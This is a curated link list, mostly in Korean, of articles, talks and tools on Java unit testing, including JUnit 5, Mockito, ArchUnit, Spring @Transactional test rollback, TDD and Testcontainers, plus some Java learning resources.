- Pragmatic Behavior Driven Development Using Cucumber BDD
- 테스트 대역폭 늘리기 - Yun Blog | 기술 블로그
- MC/DC coverage - YouTube modified condition / decision coverage
- 10분 테코톡 제이의 단위 테스트 - YouTube
- VDIASI23 - Erwin Manders - Test automation guide: How to move away from chain tests - YouTube Junit Jupiter Extensions, Wiremock, Test Container, Contract testing
- 실무에서 적용하는 테스트 코드 작성 방법과 노하우
- 테스트 데이터 초기화에 @Transactional 사용하는 것에 대한 생각
- 테스트가 관리하는 트랜잭션 - 향로 님의 @Transactional 글을 읽고
- 스프링에서
@Transactional
을 이용한 롤백 테스트에 대한 향로님의 글에 대해 토비님 의견 - 기술에서 안티패턴은 많은 경우 동작 방식을 제대로 이해 못한 경우에 발생
- 토비님은 이 글에서 테스트에서
@Transactional
이 어떻게 동작하는지 설명- 이 문제가
@Transactional
의 문제인지 트랜잭션 테스트 자체의 문제인지 짚고 - 팀의 상황에 따라 여러 가지 테스트 스타일을 사용할 수 있지만
- 기본적으로 스프링의
@Transactional
을 기본으로 쓰고 트랜잭션 상황을 잘 이해하고 있어야 한다고 이야기
- 이 문제가
- 스프링에서
- 테스트에서 @Transactional 을 사용해야 할까? - YouTube
- 실전에서 TDD하기 | 카카오페이 기술 블로그
- 자바에서 클래스를 활용한 사용자 정의 타입으로 코드 가독성과 신뢰성 높이기
- private 메서드를 테스트하고 싶을 때 어떻게 대처할 것인가
- 도메인 특화 언어와 단위 테스트 - 1부 :: Eternity's Chit-Chat
- 도메인 특화 언어와 단위 테스트 - 2부 :: Eternity's Chit-Chat
- 도메인 특화 언어와 단위 테스트 - 3부 :: Eternity's Chit-Chat
- 도메인 특화 언어와 단위 테스트 - 4부 :: Eternity's Chit-Chat
- 도메인 특화 언어와 단위 테스트 - 5부 :: Eternity's Chit-Chat
- 도메인 특화 언어와 단위 테스트 - 6부 :: Eternity's Chit-Chat
- ArchUnit Unit test your Java architecture - ArchUnit
- How to test your Java project’s architecture with ArchUnit
- ArchUnit - UnitTest로 아키텍처 검사를
- 아키텍처 구조와 규칙을 쉽게 정의하고 검사해주는 ArchUnit의 사용법 설명
- ArchUnit의 테스트를 작성해서 의존관계와 상속 관계 등을 검사하고 레이어 아키텍처 등을 선언형/명령형으로 검사 가능
- AssertJ와 연동 가능. 네이버에서 Support 패키지는 다른 패키지를 의존하면 안 된다는 규칙, API 문서화를 위한 속성 통일 등의 규칙을 적용
- Unit Test Your Java Architecture With ArchUnit by Roland Weisleder - YouTube
- AssertJ - fluent assertions java library
- DBUnit
- EvoSuite | Automatic Test Suite Generation for Java 테스트 케이스 자동생성
- The Fuzzing Book
- JaCoCo Java Code Coverage Library
- Jakarta Bean Validation - Home
- java-faker: Brings the popular ruby faker gem to Java
- jqwik
- JUnit
- toby.epril.com/?tag=junit
- JUnit 만들어보기
- JUnit 5 소개
- JUnit 5 Jupiter API 추가 특징: Assumption, @Nested, 태깅과 필터링
- AppEngine unit testing made easy with JUnit Rules
- JUnit 테스트 메소드 실행 순서
- Victor Rentea - Unit Testing like a Pro: The Circle of Purity
- Unit Testing like a Pro - Towards a Testable Design by Victor Rentea
- LocalStack을 활용한 Integration Test 환경 만들기
- 연과 백엔드 팀은 유닛 테스트를 어떻게 할까?
- 단위 테스트 활용 방법: JUnit 참조 가이드
- JUnit: time to shift into 5th gear! Julien Topçu & Juliette de Rancourt
- 더 자바: 코드를 테스트하는 다양한 방법
- JUnit 5 + Kotlin 테스트 클래스에서 생성자 주입 이슈 · 도전하는 개발자
- JUnit5로 계층 구조의 테스트 코드 작성하기 - 기계인간 John Grib
- A Comprehensive Guide On JUnit 5 Extensions
- JUnit 5 Introduction for TDD Development in Java | CodersTea
- 효율적인 JUnit 사용 방법과 유용한 팁 | 요즘IT
- Andy assesses student's test code. It's used in CSE1110, TU Delft.
- Junit and Mockito Tutorial - YouTube
- karate: Test Automation Made Simple
- Mockito framework site
- What is JUnit? | Why Mockito?
- Stubbing and Mocking with Mockito and JUnit - Semaphore Tutorial
- Mock 프레임워크(Mockito)의 핵심 기능 학습 테스트
- 테스트할 수 없는 코드 테스트하기 : 서비스 추상화와 목(Mockito) 프레임워크 활용
- Mockito Invalid use of argument matchers! 에러
- Tips, tricks and gotchas when writing unit tests with Mockito by Jesse Kershaw - YouTube
- Automating Tests in Spring Boot with JUnit and Mockito - DEV Community
- MockServer
- mock-server/mockserver: MockServer enables easy mocking of any system you integrate with via HTTP or HTTPS with clients written in Java, JavaScript and Ruby. MockServer also includes a proxy that introspects all proxied traffic including encrypted SSL traffic and supports Port Forwarding, Web Proxying (i.e. HTTP proxy), HTTPS Tunneling Proxying (using HTTP CONNECT) and SOCKS Proxying (i.e. dynamic port forwarding).
- 사내 공통 목서버로 카카오페이 테스트 진입 장벽 낮추기 | 카카오페이 기술 블로그
- Real world mutation testing
- SpotBugs 정적 분석
- Testcontainers - a Java library that supports JUnit tests, providing lightweight, throwaway instances of common databases, Selenium web browsers, or anything else that can run in a Docker container
- Online Tutorial to Learn Java - CodeGym online Java programming course 80% based on practice
- Learn Java - Free Interactive Java Tutorial
- Java 입문 수업 (생활코딩) - YouTube
- 자바를 배우자 매거진
- 자바 공화국
- Javarevisited - YouTube
- Java and Java Projects Complete Course for Beginners | Learn Java Programming Language from Scratch - YouTube
- Voice Of Calling NPO - YouTube
- Java 백엔드 프로그래밍 - YouTube
- 강좌 즐거운 스프링 부트 - YouTube